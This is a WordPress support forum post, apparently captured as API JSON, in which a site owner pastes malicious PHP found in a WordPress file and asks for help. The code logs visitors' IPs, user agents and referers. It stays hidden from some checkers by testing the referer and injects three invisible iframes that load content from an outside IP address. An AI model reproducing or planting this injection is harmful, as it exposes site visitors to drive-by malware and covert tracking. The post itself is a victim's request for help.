I just noticed this in my wp-gm file. I landed on a page from Google and get a nasty surprise. Any help would be appreciated.<\/p>\n
<?
\necho “<!– counter –>”;
\n$dat_file=”images\/z1.txt”;
\n$log_file=”images\/z2.txt”;
\n$f=fopen($dat_file,”r+”);
\n$count=fgets($f,100);
\nfclose($f);
\n$count=ereg_replace(“\\n”,””,$count);
\n$count++;
\n$f=fopen($dat_file,”w”);
\nfputs($f,”$count”);
\nfclose($f);
\n?>
\n<?
\n$f=fopen($log_file,”a+”);
\n$ip=getenv(“REMOTE_ADDR”);
\n$ag=getenv(“HTTP_USER_AGENT”);
\n$host=getenv(“HTTP_REFERER”);
\n$data=date(“d-m-Y”);
\n$time=date(“H:i:s”);
\nfputs($f,”$count#$data#$time#$ip#$ag#$host#\\n”);
\nfclose($f);
\n?>
\n<?
\n$expl=1;
\n$referer = getenv( “HTTP_REFERER” );<\/p>\n
if (strstr($referer, “adbrite”))
\n{
\n$expl=2;
\n}<\/p>\n
if (strstr($referer, “copyscape.com”))
\n{
\n$expl=2;
\n}<\/p>\n
$rlen=strlen($referer);
\nif ($rlen==0)
\n{
\n$expl=2;
\n}
\n?>
\n<?
\nif($expl!=2)
\n{
\necho “<iframe src=\\”http:\/\/64.86.135.13\/~craifain\/fonts\/.mp\/index.php\\” width=0 height=0><\/iframe>”;
\necho “<iframe src=\\”http:\/\/64.86.135.13\/~craifain\/fonts\/.ip\\” width=0 height=0><\/iframe>”;
\necho “<iframe src=\\”http:\/\/64.86.135.13\/~craifain\/fonts\/.xc\/top\/\\” width=0 height=0><\/iframe>”;
\n}
\n?><\/p>\n","protected":false},"template":"","class_list":["post-755583","topic","type-topic","status-closed","hentry"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/755583","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/755583\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=755583"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}